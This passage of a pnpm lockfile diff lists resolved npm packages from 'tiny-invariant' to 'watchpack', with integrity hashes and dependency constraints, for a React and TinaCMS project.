3.1.1(react@18.2.0) + '@react-types/combobox': 3.9.0(react@18.2.0) + '@react-types/shared': 3.22.0(react@18.2.0) + '@sambego/storybook-styles': 1.0.0 + '@tinacms/mdx': 1.3.23(react@18.2.0)(yup@0.32.11) + '@tinacms/schema-tools': 1.4.15(react@18.2.0)(yup@0.32.11) + '@tinacms/search': 1.0.17(encoding@0.1.13)(react@18.2.0)(yup@0.32.11) + '@tinacms/sharedctx': 1.0.2(react-dom@18.2.0)(react@18.2.0) + '@udecode/plate-headless': 21.5.0(@babel/core@7.23.5)(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0)(slate-history@0.93.0)(slate-hyperscript@0.77.0)(slate-react@0.97.2)(slate@0.94.1) + atob: 2.1.2 + color-string: 1.9.1 + crypto-js: 4.2.0 + date-fns: 2.30.0 + encoding: 0.1.13 + fetch-ponyfill: 7.1.0(encoding@0.1.13) + final-form: 4.20.10 + final-form-arrays: 3.1.0(final-form@4.20.10) + final-form-set-field-data: 1.0.2(final-form@4.20.10) + graphql: 15.8.0 + graphql-tag: 2.12.6(graphql@15.8.0) + is-hotkey: 0.2.0 + lodash.get: 4.4.2 + lodash.set: 4.3.2 + moment: 2.29.4 + monaco-editor: 0.31.0 + prism-react-renderer: 2.3.0(react@18.2.0) + prismjs: 1.29.0 + prop-types: 15.7.2 + react: 18.2.0 + react-beautiful-dnd: 13.1.1(react-dom@18.2.0)(react@18.2.0) + react-color: 2.19.3(react@18.2.0) + react-datetime: 2.16.3(moment@2.29.4)(react-dom@18.2.0)(react@18.2.0) + react-dom: 18.2.0(react@18.2.0) + react-dropzone: 14.2.3(react@18.2.0) + react-final-form: 6.5.9(final-form@4.20.10)(react@18.2.0) + react-icons: 4.12.0(react@18.2.0) + react-onclickoutside: 6.13.0(react-dom@18.2.0)(react@18.2.0) + react-router-dom: 6.3.0(react-dom@18.2.0)(react@18.2.0) + react-textarea-autosize: 8.5.2(@types/react@18.2.7)(react@18.2.0) + scheduler: 0.19.0 + slate: 0.94.1 + slate-history: 0.93.0(slate@0.94.1) + slate-hyperscript: 0.77.0(slate@0.94.1) + slate-react: 0.97.2(react-dom@18.2.0)(react@18.2.0)(slate@0.94.1) + webfontloader: 1.6.28 + yup: 0.32.11 + zod: 3.22.4 + transitivePeerDependencies: + - '@babel/core' + - '@babel/template' + - '@types/react' + - '@types/react-dom' + - jotai-devtools + - jotai-immer + - jotai-optics + - jotai-redux + - jotai-tanstack-query + - jotai-urql + - jotai-valtio + - jotai-xstate + - jotai-zustand + - react-native + - supports-color + dev: false + + /tiny-invariant@1.0.6: + resolution: {integrity: sha512-FOyLWWVjG+aC0UqG76V53yAWdXfH8bO6FNmyZOuUrzDzK8DI3/JRY25UD7+g49JWM1LXwymsKERB+DzI0dTEQA==} + dev: false + + /tiny-invariant@1.3.1: + resolution: {integrity: sha512-AD5ih2NlSssTCwsMznbvwMZpJ1cbhkGd2uueNxzv2jDlEeZdU04JQfRnggJQ8DrcVBGjAsCKwFBbDlVNtEMlzw==} + dev: false + + /tiny-warning@1.0.3: + resolution: {integrity: sha512-lBN9zLN/oAf68o3zNXYrdCt1kP8WsiGW8Oo2ka41b2IM5JL/S1CTyX1rW0mb/zSuJun0ZUrDxx4sqvYS2FWzPA==} + dev: false + + /tinycolor2@1.6.0: + resolution: {integrity: sha512-XPaBkWQJdsf3pLKJV9p4qN/S+fm2Oj8AIPo1BTUhg5oxkvm9+SVEGFdhyOz7tTdUTfvxMiAs4sp6/eZO2Ew+pw==} + dev: false + + /title-case@3.0.3: + resolution: {integrity: sha512-e1zGYRvbffpcHIrnuqT0Dh+gEJtDaxDSoG4JAIpq4oDFyooziLBIiYQv0GBT4FUAnUop5uZ1hiIAj7oAF6sOCA==} + dependencies: + tslib: 2.6.2 + dev: false + + /to-fast-properties@2.0.0: + resolution: {integrity: sha512-/OaKK0xYrs3DmxRYqL/yDc+FxFUVYhDlXMhRmv3z915w2HF1tnN1omB354j8VUGO/hbRzyD6Y3sA7v7GS/ceog==} + engines: {node: '>=4'} + dev: false + + /to-regex-range@5.0.1: + resolution: {integrity: sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==} + engines: {node: '>=8.0'} + dependencies: + is-number: 7.0.0 + dev: false + + /toggle-selection@1.0.6: + resolution: {integrity: sha512-BiZS+C1OS8g/q2RRbJmy59xpyghNBqrr6k5L/uKBGRsTfxmu3ffiRnd8mlGPUVayg8pvfi5urfnu8TU7DVOkLQ==} + dev: false + + /toidentifier@1.0.1: + resolution: {integrity: sha512-o5sSPKEkg/DIQNmH43V0/uerLrpzVedkUh8tGNvaeXpfpuwjKenlSox/2O/BTlZUtEe+JG7s5YhEz608PlAHRA==} + engines: {node: '>=0.6'} + dev: false + + /toposort@2.0.2: + resolution: {integrity: sha512-0a5EOkAUp8D4moMi2W8ZF8jcga7BgZd91O/yabJCFY8az+XSzeGyTKs0Aoo897iV1Nj6guFq8orWDS96z91oGg==} + dev: false + + /tr46@0.0.3: + resolution: {integrity: sha512-N3WMsuqV66lT30CrXNbEjx4GEwlow3v6rr4mCcv6prnfwhS01rkgyFdjPNBYd9br7LpXV1+Emh01fHnq2Gdgrw==} + dev: false + + /traverse@0.6.7: + resolution: {integrity: sha512-/y956gpUo9ZNCb99YjxG7OaslxZWHfCHAUUfshwqOXmxUIvqLjVO581BT+gM59+QV9tFe6/CGG53tsA1Y7RSdg==} + dev: false + + /trough@1.0.5: + resolution: {integrity: sha512-rvuRbTarPXmMb79SmzEp8aqXNKcK+y0XaB298IXueQ8I2PsrATcPBCSPyK/dDNa2iWOhKlfNnOjdAOTBU/nkFA==} + dev: false + + /trough@2.1.0: + resolution: {integrity: sha512-AqTiAOLcj85xS7vQ8QkAV41hPDIJ71XJB4RCUrzo/1GM2CQwhkJGaf9Hgr7BOugMRpgGUrqRg/DrBDl4H40+8g==} + dev: false + + /ts-interface-checker@0.1.13: + resolution: {integrity: sha512-Y/arvbn+rrz3JCKl9C4kVNfTfSm2/mEp5FSz5EsZSANGPSlQrpRI5M4PKF+mJnE52jOO90PnPSc3Ur3bTQw0gA==} + dev: false + + /tslib@2.4.1: + resolution: {integrity: sha512-tGyy4dAjRIEwI7BzsB0lynWgOpfqjUdq91XXAlIWD2OwKBH7oCl/GZG/HT4BOHrTlPMOASlMQ7veyTqpmRcrNA==} + dev: false + + /tslib@2.5.0: + resolution: {integrity: sha512-336iVw3rtn2BUK7ORdIAHTyxHGRIHVReokCR3XjbckJMK7ms8FysBfhLR8IXnAgy7T0PTPNBWKiH514FOW/WSg==} + dev: false + + /tslib@2.5.3: + resolution: {integrity: sha512-mSxlJJwl3BMEQCUNnxXBU9jP4JBktcEGhURcPR6VQVlnP0FdDEsIaz0C35dXNGLyRfrATNofF0F5p2KPxQgB+w==} + dev: false + + /tslib@2.6.2: + resolution: {integrity: sha512-AEYxH93jGFPn/a2iVAwW87VuUIkR1FVUKB77NwMF7nBTDkDrrT/Hpt/IrCJ0QXhW27jTBDcf5ZY7w6RiqTMw2Q==} + dev: false + + /tunnel-agent@0.6.0: + resolution: {integrity: sha512-McnNiV1l8RYeY8tBgEpuodCC1mLUdbSN+CYBL7kJsJNInOP8UjDDEwdk6Mw60vdLLrr5NHKZhMAOSrR2NZuQ+w==} + dependencies: + safe-buffer: 5.2.1 + dev: false + + /typanion@3.13.0: + resolution: {integrity: sha512-AkZMjMIW8MGeQwBxu1bixzu/2Zk7rH6ILrI/9zBoW0sAiVaWwHjXSnmPBomfY2t7tSG6m5bIE+OYYyyuGnFVHA==} + dev: false + + /type-is@1.6.18: + resolution: {integrity: sha512-TkRKr9sUTxEH8MdfuCSP7VizJyzRNMjj2J2do2Jr3Kym598JVdEksuzPQCnlFPW4ky9Q+iA+ma9BGm06XQBy8g==} + engines: {node: '>= 0.6'} + dependencies: + media-typer: 0.3.0 + mime-types: 2.1.35 + dev: false + + /typedarray@0.0.6: + resolution: {integrity: sha512-/aCDEGatGvZ2BIk+HmLf4ifCJFwvKFNb9/JeZPMulfgFracn9QFcAf5GO8B/mweUjSoblS5In0cWhqpfs/5PQA==} + dev: false + + /typescript@4.3.5: + resolution: {integrity: sha512-DqQgihaQ9cUrskJo9kIyW/+g0Vxsk8cDtZ52a3NGh0YNTfpUSArXSohyUGnvbPazEPLu398C0UxmKSOrPumUzA==} + engines: {node: '>=4.2.0'} + hasBin: true + dev: false + + /typescript@4.9.5: + resolution: {integrity: sha512-1FXk9E2Hm+QzZQ7z+McJiHL4NW1F2EzMu9Nq9i3zAaGqibafqYwCVU6WyWAuyQRRzOlxou8xZSyXLEN8oKj24g==} + engines: {node: '>=4.2.0'} + hasBin: true + dev: false + + /typescript@5.0.4: + resolution: {integrity: sha512-cW9T5W9xY37cc+jfEnaUvX91foxtHkza3Nw3wkoF4sSlKn0MONdkdEndig/qPBWXNkmplh3NzayQzCiHM4/hqw==} + engines: {node: '>=12.20'} + hasBin: true + dev: false + + /ua-parser-js@1.0.37: + resolution: {integrity: sha512-bhTyI94tZofjo+Dn8SN6Zv8nBDvyXTymAdM3LDI/0IboIUwTu1rEhW7v2TfiVsoYWgkQ4kOVqnI8APUFbIQIFQ==} + dev: false + + /uc.micro@1.0.6: + resolution: {integrity: sha512-8Y75pvTYkLJW2hWQHXxoqRgV7qb9B+9vFEtidML+7koHUFapnVJAZ6cKs+Qjz5Aw3aZWHMC6u0wJE3At+nSGwA==} + dev: false + + /unc-path-regex@0.1.2: + resolution: {integrity: sha512-eXL4nmJT7oCpkZsHZUOJo8hcX3GbsiDOa0Qu9F646fi8dT3XuSVopVqAcEiVzSKKH7UoDti23wNX3qGFxcW5Qg==} + engines: {node: '>=0.10.0'} + dev: false + + /undici-types@5.26.5: + resolution: {integrity: sha512-JlCMO+ehdEIKqlFxk6IfVoAUVmgz7cU7zD/h9XZ0qzeosSHmUJVOzSQvvYSYWXkFXC+IfLKSIffhv0sVZup6pA==} + + /unified@10.1.2: + resolution: {integrity: sha512-pUSWAi/RAnVy1Pif2kAoeWNBa3JVrx0MId2LASj8G+7AiHWoKZNTomq6LG326T68U7/e263X6fTdcXIy7XnF7Q==} + dependencies: + '@types/unist': 2.0.10 + bail: 2.0.2 + extend: 3.0.2 + is-buffer: 2.0.5 + is-plain-obj: 4.1.0 + trough: 2.1.0 + vfile: 5.3.7 + dev: false + + /unified@9.2.2: + resolution: {integrity: sha512-Sg7j110mtefBD+qunSLO1lqOEKdrwBFBrR6Qd8f4uwkhWNlbkaqwHse6e7QvD3AP/MNoJdEDLaf8OxYyoWgorQ==} + dependencies: + '@types/unist': 2.0.10 + bail: 1.0.5 + extend: 3.0.2 + is-buffer: 2.0.5 + is-plain-obj: 2.1.0 + trough: 1.0.5 + vfile: 4.2.1 + dev: false + + /unist-util-is@5.2.1: + resolution: {integrity: sha512-u9njyyfEh43npf1M+yGKDGVPbY/JWEemg5nH05ncKPfi+kBbKBJoTdsogMu33uhytuLlv9y0O7GH7fEdwLdLQw==} + dependencies: + '@types/unist': 2.0.10 + dev: false + + /unist-util-position-from-estree@1.1.2: + resolution: {integrity: sha512-poZa0eXpS+/XpoQwGwl79UUdea4ol2ZuCYguVaJS4qzIOMDzbqz8a3erUCOmubSZkaOuGamb3tX790iwOIROww==} + dependencies: + '@types/unist': 2.0.10 + dev: false + + /unist-util-remove-position@4.0.2: + resolution: {integrity: sha512-TkBb0HABNmxzAcfLf4qsIbFbaPDvMO6wa3b3j4VcEzFVaw1LBKwnW4/sRJ/atSLSzoIg41JWEdnE7N6DIhGDGQ==} + dependencies: + '@types/unist': 2.0.10 + unist-util-visit: 4.1.2 + dev: false + + /unist-util-source@4.0.2: + resolution: {integrity: sha512-J7jAaCer3fTQCH6sW2oIs6fcgiuglp1GnbnFKGc1DVA5fjfkXmh/K5mRw1636lTZ4P3wvLVBTcF3aTWtB7AFEQ==} + dependencies: + '@types/unist': 2.0.10 + vfile: 5.3.7 + vfile-location: 4.1.0 + dev: false + + /unist-util-stringify-position@2.0.3: + resolution: {integrity: sha512-3faScn5I+hy9VleOq/qNbAd6pAx7iH5jYBMS9I1HgQVijz/4mv5Bvw5iw1sC/90CODiKo81G/ps8AJrISn687g==} + dependencies: + '@types/unist': 2.0.10 + dev: false + + /unist-util-stringify-position@3.0.3: + resolution: {integrity: sha512-k5GzIBZ/QatR8N5X2y+drfpWG8IDBzdnVj6OInRNWm1oXrzydiaAT2OQiA8DPRRZyAKb9b6I2a6PxYklZD0gKg==} + dependencies: + '@types/unist': 2.0.10 + dev: false + + /unist-util-visit-parents@5.1.3: + resolution: {integrity: sha512-x6+y8g7wWMyQhL1iZfhIPhDAs7Xwbn9nRosDXl7qoPTSCy0yNxnKc+hWokFifWQIDGi154rdUqKvbCa4+1kLhg==} + dependencies: + '@types/unist': 2.0.10 + unist-util-is: 5.2.1 + dev: false + + /unist-util-visit@4.1.2: + resolution: {integrity: sha512-MSd8OUGISqHdVvfY9TPhyK2VdUrPgxkUtWSuMHF6XAAFuL4LokseigBnZtPnJMu+FbynTkFNnFlyjxpVKujMRg==} + dependencies: + '@types/unist': 2.0.10 + unist-util-is: 5.2.1 + unist-util-visit-parents: 5.1.3 + dev: false + + /universalify@0.1.2: + resolution: {integrity: sha512-rBJeI5CXAlmy1pV+617WB9J63U6XcazHHF2f2dbJix4XzpUF0RS3Zbj0FGIOCAva5P/d/GBOYaACQ1w+0azUkg==} + engines: {node: '>= 4.0.0'} + dev: false + + /universalify@2.0.1: + resolution: {integrity: sha512-gptHNQghINnc/vTGIk0SOFGFNXw7JVrlRUtConJRlvaw6DuX0wO5Jeko9sWrMBhh+PsYAZ7oXAiOnf/UKogyiw==} + engines: {node: '>= 10.0.0'} + dev: false + + /unixify@1.0.0: + resolution: {integrity: sha512-6bc58dPYhCMHHuwxldQxO3RRNZ4eCogZ/st++0+fcC1nr0jiGUtAdBJ2qzmLQWSxbtz42pWt4QQMiZ9HvZf5cg==} + engines: {node: '>=0.10.0'} + dependencies: + normalize-path: 2.1.1 + dev: false + + /unpipe@1.0.0: + resolution: {integrity: sha512-pjy2bYhSsufwWlKwPc+l3cN7+wuJlK6uz0YdJEOlQDbl6jo/YlPi4mb8agUkVC8BF7V8NuzeyPNqRksA3hztKQ==} + engines: {node: '>= 0.8'} + dev: false + + /update-browserslist-db@1.0.13(browserslist@4.22.2): + resolution: {integrity: sha512-xebP81SNcPuNpPP3uzeW1NYXxI3rxyJzF3pD6sH4jE7o/IX+WtSpwnVU+qIsDPyk0d3hmFQ7mjqc6AtV604hbg==} + hasBin: true + peerDependencies: + browserslist: '>= 4.21.0' + dependencies: + browserslist: 4.22.2 + escalade: 3.1.1 + picocolors: 1.0.0 + dev: false + + /upper-case-first@2.0.2: + resolution: {integrity: sha512-514ppYHBaKwfJRK/pNC6c/OxfGa0obSnAl106u97Ed0I625Nin96KAjttZF6ZL3e1XLtphxnqrOi9iWgm+u+bg==} + dependencies: + tslib: 2.6.2 + dev: false + + /upper-case@2.0.2: + resolution: {integrity: sha512-KgdgDGJt2TpuwBUIjgG6lzw2GWFRCW9Qkfkiv0DxqHHLYJHmtmdUIKcZd8rHgFSjopVTlw6ggzCm1b8MFQwikg==} + dependencies: + tslib: 2.6.2 + dev: false + + /uri-js@4.4.1: + resolution: {integrity: sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==} + dependencies: + punycode: 2.3.1 + dev: false + + /url-pattern@1.0.3: + resolution: {integrity: sha512-uQcEj/2puA4aq1R3A2+VNVBgaWYR24FdWjl7VNW83rnWftlhyzOZ/tBjezRiC2UkIzuxC8Top3IekN3vUf1WxA==} + engines: {node: '>=0.12.0'} + dev: false + + /use-callback-ref@1.3.0(@types/react@18.2.7)(react@17.0.2): + resolution: {integrity: sha512-3FT9PRuRdbB9HfXhEq35u4oZkvpJ5kuYbpqhCfmiZyReuRgpnhDlbr2ZEnnuS0RrJAPn6l23xjFg9kpDM+Ms7w==} + engines: {node: '>=10'} + peerDependencies: + '@types/react': ^16.8.0 || ^17.0.0 || ^18.0.0 + react: ^16.8.0 || ^17.0.0 || ^18.0.0 + peerDependenciesMeta: + '@types/react': + optional: true + dependencies: + '@types/react': 18.2.7 + react: 17.0.2 + tslib: 2.6.2 + dev: false + + /use-callback-ref@1.3.0(@types/react@18.2.7)(react@18.2.0): + resolution: {integrity: sha512-3FT9PRuRdbB9HfXhEq35u4oZkvpJ5kuYbpqhCfmiZyReuRgpnhDlbr2ZEnnuS0RrJAPn6l23xjFg9kpDM+Ms7w==} + engines: {node: '>=10'} + peerDependencies: + '@types/react': ^16.8.0 || ^17.0.0 || ^18.0.0 + react: ^16.8.0 || ^17.0.0 || ^18.0.0 + peerDependenciesMeta: + '@types/react': + optional: true + dependencies: + '@types/react': 18.2.7 + react: 18.2.0 + tslib: 2.6.2 + dev: false + + /use-composed-ref@1.3.0(react@17.0.2): + resolution: {integrity: sha512-GLMG0Jc/jiKov/3Ulid1wbv3r54K9HlMW29IWcDFPEqFkSO2nS0MuefWgMJpeHQ9YJeXDL3ZUF+P3jdXlZX/cQ==} + peerDependencies: + react: ^16.8.0 || ^17.0.0 || ^18.0.0 + dependencies: + react: 17.0.2 + dev: false + + /use-composed-ref@1.3.0(react@18.2.0): + resolution: {integrity: sha512-GLMG0Jc/jiKov/3Ulid1wbv3r54K9HlMW29IWcDFPEqFkSO2nS0MuefWgMJpeHQ9YJeXDL3ZUF+P3jdXlZX/cQ==} + peerDependencies: + react: ^16.8.0 || ^17.0.0 || ^18.0.0 + dependencies: + react: 18.2.0 + dev: false + + /use-context-selector@1.4.1(react-dom@17.0.2)(react@17.0.2)(scheduler@0.19.0): + resolution: {integrity: sha512-Io2ArvcRO+6MWIhkdfMFt+WKQX+Vb++W8DS2l03z/Vw/rz3BclKpM0ynr4LYGyU85Eke+Yx5oIhTY++QR0ZDoA==} + peerDependencies: + react: '>=16.8.0' + react-dom: '*' + react-native: '*' + scheduler: '>=0.19.0' + peerDependenciesMeta: + react-dom: + optional: true + react-native: + optional: true + dependencies: + react: 17.0.2 + react-dom: 17.0.2(react@17.0.2) + scheduler: 0.19.0 + dev: false + + /use-context-selector@1.4.1(react-dom@18.2.0)(react@18.2.0)(scheduler@0.19.0): + resolution: {integrity: sha512-Io2ArvcRO+6MWIhkdfMFt+WKQX+Vb++W8DS2l03z/Vw/rz3BclKpM0ynr4LYGyU85Eke+Yx5oIhTY++QR0ZDoA==} + peerDependencies: + react: '>=16.8.0' + react-dom: '*' + react-native: '*' + scheduler: '>=0.19.0' + peerDependenciesMeta: + react-dom: + optional: true + react-native: + optional: true + dependencies: + react: 18.2.0 + react-dom: 18.2.0(react@18.2.0) + scheduler: 0.19.0 + dev: false + + /use-deep-compare@1.1.0(react@17.0.2): + resolution: {integrity: sha512-6yY3zmKNCJ1jjIivfZMZMReZjr8e6iC6Uqtp701jvWJ6ejC/usXD+JjmslZDPJQgX8P4B1Oi5XSLHkOLeYSJsA==} + peerDependencies: + react: '>=16.8.0' + dependencies: + dequal: 1.0.0 + react: 17.0.2 + dev: false + + /use-deep-compare@1.1.0(react@18.2.0): + resolution: {integrity: sha512-6yY3zmKNCJ1jjIivfZMZMReZjr8e6iC6Uqtp701jvWJ6ejC/usXD+JjmslZDPJQgX8P4B1Oi5XSLHkOLeYSJsA==} + peerDependencies: + react: '>=16.8.0' + dependencies: + dequal: 1.0.0 + react: 18.2.0 + dev: false + + /use-isomorphic-layout-effect@1.1.2(@types/react@18.2.7)(react@17.0.2): + resolution: {integrity: sha512-49L8yCO3iGT/ZF9QttjwLF/ZD9Iwto5LnH5LmEdk/6cFmXddqi2ulF0edxTwjj+7mqvpVVGQWvbXZdn32wRSHA==} + peerDependencies: + '@types/react': '*' + react: ^16.8.0 || ^17.0.0 || ^18.0.0 + peerDependenciesMeta: + '@types/react': + optional: true + dependencies: + '@types/react': 18.2.7 + react: 17.0.2 + dev: false + + /use-isomorphic-layout-effect@1.1.2(@types/react@18.2.7)(react@18.2.0): + resolution: {integrity: sha512-49L8yCO3iGT/ZF9QttjwLF/ZD9Iwto5LnH5LmEdk/6cFmXddqi2ulF0edxTwjj+7mqvpVVGQWvbXZdn32wRSHA==} + peerDependencies: + '@types/react': '*' + react: ^16.8.0 || ^17.0.0 || ^18.0.0 + peerDependenciesMeta: + '@types/react': + optional: true + dependencies: + '@types/react': 18.2.7 + react: 18.2.0 + dev: false + + /use-latest@1.2.1(@types/react@18.2.7)(react@17.0.2): + resolution: {integrity: sha512-xA+AVm/Wlg3e2P/JiItTziwS7FK92LWrDB0p+hgXloIMuVCeJJ8v6f0eeHyPZaJrM+usM1FkFfbNCrJGs8A/zw==} + peerDependencies: + '@types/react': '*' + react: ^16.8.0 || ^17.0.0 || ^18.0.0 + peerDependenciesMeta: + '@types/react': + optional: true + dependencies: + '@types/react': 18.2.7 + react: 17.0.2 + use-isomorphic-layout-effect: 1.1.2(@types/react@18.2.7)(react@17.0.2) + dev: false + + /use-latest@1.2.1(@types/react@18.2.7)(react@18.2.0): + resolution: {integrity: sha512-xA+AVm/Wlg3e2P/JiItTziwS7FK92LWrDB0p+hgXloIMuVCeJJ8v6f0eeHyPZaJrM+usM1FkFfbNCrJGs8A/zw==} + peerDependencies: + '@types/react': '*' + react: ^16.8.0 || ^17.0.0 || ^18.0.0 + peerDependenciesMeta: + '@types/react': + optional: true + dependencies: + '@types/react': 18.2.7 + react: 18.2.0 + use-isomorphic-layout-effect: 1.1.2(@types/react@18.2.7)(react@18.2.0) + dev: false + + /use-memo-one@1.1.3(react@17.0.2): + resolution: {integrity: sha512-g66/K7ZQGYrI6dy8GLpVcMsBp4s17xNkYJVSMvTEevGy3nDxHOfE6z8BVE22+5G5x7t3+bhzrlTDB7ObrEE0cQ==} + peerDependencies: + react: ^16.8.0 || ^17.0.0 || ^18.0.0 + dependencies: + react: 17.0.2 + dev: false + + /use-memo-one@1.1.3(react@18.2.0): + resolution: {integrity: sha512-g66/K7ZQGYrI6dy8GLpVcMsBp4s17xNkYJVSMvTEevGy3nDxHOfE6z8BVE22+5G5x7t3+bhzrlTDB7ObrEE0cQ==} + peerDependencies: + react: ^16.8.0 || ^17.0.0 || ^18.0.0 + dependencies: + react: 18.2.0 + dev: false + + /use-sidecar@1.1.2(@types/react@18.2.7)(react@17.0.2): + resolution: {integrity: sha512-epTbsLuzZ7lPClpz2TyryBfztm7m+28DlEv2ZCQ3MDr5ssiwyOwGH/e5F9CkfWjJ1t4clvI58yF822/GUkjjhw==} + engines: {node: '>=10'} + peerDependencies: + '@types/react': ^16.9.0 || ^17.0.0 || ^18.0.0 + react: ^16.8.0 || ^17.0.0 || ^18.0.0 + peerDependenciesMeta: + '@types/react': + optional: true + dependencies: + '@types/react': 18.2.7 + detect-node-es: 1.1.0 + react: 17.0.2 + tslib: 2.6.2 + dev: false + + /use-sidecar@1.1.2(@types/react@18.2.7)(react@18.2.0): + resolution: {integrity: sha512-epTbsLuzZ7lPClpz2TyryBfztm7m+28DlEv2ZCQ3MDr5ssiwyOwGH/e5F9CkfWjJ1t4clvI58yF822/GUkjjhw==} + engines: {node: '>=10'} + peerDependencies: + '@types/react': ^16.9.0 || ^17.0.0 || ^18.0.0 + react: ^16.8.0 || ^17.0.0 || ^18.0.0 + peerDependenciesMeta: + '@types/react': + optional: true + dependencies: + '@types/react': 18.2.7 + detect-node-es: 1.1.0 + react: 18.2.0 + tslib: 2.6.2 + dev: false + + /use-sync-external-store@1.2.0(react@17.0.2): + resolution: {integrity: sha512-eEgnFxGQ1Ife9bzYs6VLi8/4X6CObHMw9Qr9tPY43iKwsPw8xE8+EFsf/2cFZ5S3esXgpWgtSCtLNS41F+sKPA==} + peerDependencies: + react: ^16.8.0 || ^17.0.0 || ^18.0.0 + dependencies: + react: 17.0.2 + dev: false + + /util-deprecate@1.0.2: + resolution: {integrity: sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==} + dev: false + + /utils-merge@1.0.1: + resolution: {integrity: sha512-pMZTvIkT1d+TFGvDOqodOclx0QWkkgi6Tdoa8gC8ffGAAqz9pzPTZWAybbsHHoED/ztMtkv/VoYTYyShUn81hA==} + engines: {node: '>= 0.4.0'} + dev: false + + /uuid@8.3.2: + resolution: {integrity: sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==} + hasBin: true + dev: false + + /uvu@0.5.6: + resolution: {integrity: sha512-+g8ENReyr8YsOc6fv/NVJs2vFdHBnBNdfE49rshrTzDWOlUx4Gq7KOS2GD8eqhy2j+Ejq29+SbKH8yjkAqXqoA==} + engines: {node: '>=8'} + hasBin: true + dependencies: + dequal: 2.0.3 + diff: 5.1.0 + kleur: 4.1.5 + sade: 1.8.1 + dev: false + + /validator@13.11.0: + resolution: {integrity: sha512-Ii+sehpSfZy+At5nPdnyMhx78fEoPDkR2XW/zimHEL3MyGJQOCQ7WeP20jPYRz7ZCpcKLB21NxuXHF3bxjStBQ==} + engines: {node: '>= 0.10'} + dev: false + + /value-or-promise@1.0.12: + resolution: {integrity: sha512-Z6Uz+TYwEqE7ZN50gwn+1LCVo9ZVrpxRPOhOLnncYkY1ZzOYtrX8Fwf/rFktZ8R5mJms6EZf5TqNOMeZmnPq9Q==} + engines: {node: '>=12'} + dev: false + + /varint@5.0.0: + resolution: {integrity: sha512-gC13b/bWrqQoKY2EmROCZ+AR0jitc6DnDGaQ6Ls9QpKmuSgJB1eQ7H3KETtQm7qSdMWMKCmsshyCmUwMLh3OAA==} + dev: false + + /varint@5.0.2: + resolution: {integrity: sha512-lKxKYG6H03yCZUpAGOPOsMcGxd1RHCu1iKvEHYDPmTyq2HueGhD73ssNBqqQWfvYs04G9iUFRvmAVLW20Jw6ow==} + dev: false + + /vary@1.1.2: + resolution: {integrity: sha512-BNGbWLfd0eUPabhkXUVm0j8uuvREyTh5ovRa/dyow/BqAbZJyC+5fU+IzQOzmAKzYqYRAISoRhdQr3eIZ/PXqg==} + engines: {node: '>= 0.8'} + dev: false + + /vfile-location@4.1.0: + resolution: {integrity: sha512-YF23YMyASIIJXpktBa4vIGLJ5Gs88UB/XePgqPmTa7cDA+JeO3yclbpheQYCHjVHBn/yePzrXuygIL+xbvRYHw==} + dependencies: + '@types/unist': 2.0.10 + vfile: 5.3.7 + dev: false + + /vfile-message@2.0.4: + resolution: {integrity: sha512-DjssxRGkMvifUOJre00juHoP9DPWuzjxKuMDrhNbk2TdaYYBNMStsNhEOt3idrtI12VQYM/1+iM0KOzXi4pxwQ==} + dependencies: + '@types/unist': 2.0.10 + unist-util-stringify-position: 2.0.3 + dev: false + + /vfile-message@3.1.4: + resolution: {integrity: sha512-fa0Z6P8HUrQN4BZaX05SIVXic+7kE3b05PWAtPuYP9QLHsLKYR7/AlLW3NtOrpXRLeawpDLMsVkmk5DG0NXgWw==} + dependencies: + '@types/unist': 2.0.10 + unist-util-stringify-position: 3.0.3 + dev: false + + /vfile@4.2.1: + resolution: {integrity: sha512-O6AE4OskCG5S1emQ/4gl8zK586RqA3srz3nfK/Viy0UPToBc5Trp9BVFb1u0CjsKrAWwnpr4ifM/KBXPWwJbCA==} + dependencies: + '@types/unist': 2.0.10 + is-buffer: 2.0.5 + unist-util-stringify-position: 2.0.3 + vfile-message: 2.0.4 + dev: false + + /vfile@5.3.7: + resolution: {integrity: sha512-r7qlzkgErKjobAmyNIkkSpizsFPYiUPuJb5pNW1RB4JcYVZhs4lIbVqk8XPk033CV/1z8ss5pkax8SuhGpcG8g==} + dependencies: + '@types/unist': 2.0.10 + is-buffer: 2.0.5 + unist-util-stringify-position: 3.0.3 + vfile-message: 3.1.4 + dev: false + + /vite@4.5.1(@types/node@20.10.3): + resolution: {integrity: sha512-AXXFaAJ8yebyqzoNB9fu2pHoo/nWX+xZlaRwoeYUxEqBO+Zj4msE5G+BhGBll9lYEKv9Hfks52PAF2X7qDYXQA==} + engines: {node: ^14.18.0 || >=16.0.0} + hasBin: true + peerDependencies: + '@types/node': '>= 14' + less: '*' + lightningcss: ^1.21.0 + sass: '*' + stylus: '*' + sugarss: '*' + terser: ^5.4.0 + peerDependenciesMeta: + '@types/node': + optional: true + less: + optional: true + lightningcss: + optional: true + sass: + optional: true + stylus: + optional: true + sugarss: + optional: true + terser: + optional: true + dependencies: + '@types/node': 20.10.3 + esbuild: 0.18.20 + postcss: 8.4.32 + rollup: 3.29.4 + optionalDependencies: + fsevents: 2.3.3 + dev: false + + /vscode-languageserver-types@3.17.5: + resolution: {integrity: sha512-Ld1VelNuX9pdF39h2Hgaeb5hEZM2Z3jUrrMgWQAu82jMtZp7p3vJT3BzToKtZI7NgQssZje5o0zryOrhQvzQAg==} + dev: false + + /w3c-keyname@2.2.8: + resolution: {integrity: sha512-dpojBhNsCNN7T82Tm7k26A6G9ML3NkhDsnw9n/eoxSRlVBB4CEtIQ/KTCLI2Fwf3ataSXRhYFkQi3SlnFwPvPQ==} + dev: false + + /watchpack@2.4.0: + resolution: {integrity: sha512-Lcvm7MGST/4fup+ifyKi2hjyIAwcdI4HRgtvTpIUxBRhB+RFtUh8XtDOxUfctVCnhVi+QQj49i91OyvzkJl6cg==} + engines: {node: '>=10.13.0'} + dependencies: + glob-to-regexp: 0.4.1 + graceful-fs: 4.2.11 + dev: false + + /webfontloader@1.6.28: 